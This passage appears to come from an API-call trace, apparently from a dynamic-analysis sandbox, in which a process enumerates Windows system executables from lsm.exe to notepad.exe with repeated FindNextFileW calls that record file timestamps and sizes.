ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8646ad5c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86490ebc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53c00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="lsm.exe", cAlternateFileName="")) returned 1 [0025.958] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc26f3e1f, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc26f3e1f, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xe63cef40, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9f600, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="Magnify.exe", cAlternateFileName="")) returned 1 [0025.958] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa993f206, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xa993f206, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe6599f00, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1ca00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="makecab.exe", cAlternateFileName="")) returned 1 [0025.958] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa131dd15, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa131dd15, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa131dd15, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13800, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="manage-bde.exe", cAlternateFileName="")) returned 1 [0025.958] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1285794, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa1285794, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa12ab8f4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe9c00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="mblctr.exe", cAlternateFileName="")) returned 1 [0025.958] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99860dd3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99860dd3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x998ad094, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x42a00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="mcbuilder.exe", cAlternateFileName="")) returned 1 [0025.958] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e9ff26e, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x4e9ff26e, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe6aa7e20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x17c00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="mctadmin.exe", cAlternateFileName="")) returned 1 [0025.958] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x384388cc, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x384388cc, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe6bfdae0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x15a00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="MdRes.exe", cAlternateFileName="")) returned 1 [0025.958] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cae1b2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cae1b2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90cd4312, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23e00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="MdSched.exe", cAlternateFileName="")) returned 1 [0025.958] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad68b6a9, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xad68b6a9, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xe6d2edb0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="mfpmp.exe", cAlternateFileName="")) returned 1 [0025.958] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf0ab17e, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xaf0ab17e, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x2d518220, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x16650, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="MigAutoPlay.exe", cAlternateFileName="")) returned 1 [0025.958] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x97ea8df4, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x97ea8df4, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe82c1510, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x20b800, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="mmc.exe", cAlternateFileName="")) returned 1 [0025.958] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa88cbd8e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa88cbd8e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa88cbd8e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x19000, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="mobsync.exe", cAlternateFileName="")) returned 1 [0025.958] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3581760b, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3581760b, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe85484a0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3a00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="mountvol.exe", cAlternateFileName="")) returned 1 [0025.958] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb7d7555, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xfb7d7555, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe8710d50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="mpnotify.exe", cAlternateFileName="")) returned 1 [0025.958] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdf674, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1cdf674, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x46f2a400, ftLastWriteTime.dwHighDateTime=0x1cb6fbd, nFileSizeHigh=0x0, nFileSizeLow=0x42180, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="MpSigStub.exe", cAlternateFileName="")) returned 1 [0025.958] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x858ac30d, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x858ac30d, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe8900700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="MRINFO.EXE", cAlternateFileName="")) returned 1 [0025.958] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93ef72ce, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93ef72ce, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93f1d42f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49400, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="msconfig.exe", cAlternateFileName="")) returned 1 [0025.958] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23f748c1, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x23f748c1, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe9260570, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x106e00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="msdt.exe", cAlternateFileName="")) returned 1 [0025.958] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1d10961, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xf1d10961, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe92f7b50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x22a00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="msdtc.exe", cAlternateFileName="")) returned 1 [0025.958] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa36ac5f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa36ac5f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa36d2757, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="msfeedssync.exe", cAlternateFileName="")) returned 1 [0025.958] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c5bf525, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x6c5bf525, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xe931ec50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="msg.exe", cAlternateFileName="")) returned 1 [0025.958] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc462c463, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc462c463, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe9345d50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="mshta.exe", cAlternateFileName="")) returned 1 [0025.958] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f58252, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92f58252, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92f58252, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f400, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="msiexec.exe", cAlternateFileName="")) returned 1 [0025.958] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849572ea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849572ea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849572ea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0025.958] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8d77b9b, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xd8d77b9b, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xeabd2030, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x65e000, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="mspaint.exe", cAlternateFileName="")) returned 1 [0025.958] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x206ec2b5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x206ec2b5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xead4edf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9f000, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="msra.exe", cAlternateFileName="")) returned 1 [0025.958] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87cd0f09, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87cd0f09, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87cf7069, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x110a00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="mstsc.exe", cAlternateFileName="")) returned 1 [0025.958] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa8766c6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xfa8766c6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xeb048970, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x20a00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="mtstocom.exe", cAlternateFileName="")) returned 1 [0025.958] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3728ce1, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xd3728ce1, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xeb0dff50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x14600, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="MuiUnattend.exe", cAlternateFileName="")) returned 1 [0025.958] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e1df59a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9e1df59a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9e1df59a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="MultiDigiMon.exe", cAlternateFileName="")) returned 1 [0025.958] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x204904eb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x204904eb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xeb31b3f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x50800, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="NAPSTAT.EXE", cAlternateFileName="")) returned 1 [0025.958] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad0ed19, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ad0ed19, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ad34e79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x107000, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="Narrator.exe", cAlternateFileName="")) returned 1 [0025.959] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4caa4fdc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x4caa4fdc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xeb366ee0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="nbtstat.exe", cAlternateFileName="")) returned 1 [0025.959] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bb6c1f9, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x6bb6c1f9, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xeb3d9ad0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12400, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="ndadmin.exe", cAlternateFileName="")) returned 1 [0025.959] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x251bcb61, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x251bcb61, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xeb4255c0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xda00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="net.exe", cAlternateFileName="")) returned 1 [0025.959] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e64beab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8e64beab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8e64beab, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x25200, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="net1.exe", cAlternateFileName="")) returned 1 [0025.959] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ed02ac7, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x4ed02ac7, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xeb4710b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6200, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="netbtugc.exe", cAlternateFileName="")) returned 1 [0025.959] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7f5f716, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc7f5f716, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xeb4981b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7e00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="netcfg.exe", cAlternateFileName="")) returned 1 [0025.959] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61099acf, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x61099acf, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xeb4bf2b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="netiougc.exe", cAlternateFileName="")) returned 1 [0025.959] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x663b97cd, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x663b97cd, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xeb4e3ca0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="Netplwiz.exe", cAlternateFileName="")) returned 1 [0025.959] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6aa0544, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb6aa0544, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xeb50ada0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x16200, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="NetProj.exe", cAlternateFileName="")) returned 1 [0025.959] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72634ab1, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x72634ab1, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xeb556890, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x15400, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="netsh.exe", cAlternateFileName="")) returned 1 [0025.959] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x851fa5b4, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x851fa5b4, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xeb556890, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="NETSTAT.EXE", cAlternateFileName="")) returned 1 [0025.959] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bb4609c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x6bb4609c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xeb57d990, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12a00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="newdev.exe", cAlternateFileName="")) returned 1 [0025.959] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9db9fbcf, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9db9fbcf, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9dcf6831, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x60a00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="nltest.exe", cAlternateFileName="")) returned 1 [0025.959] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8eb2c4cd, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x8eb2c4cd, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xeb804920, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f400, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="notepad.exe", cAlternateFileName="")) returned 1 [0025.959] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3637c3, 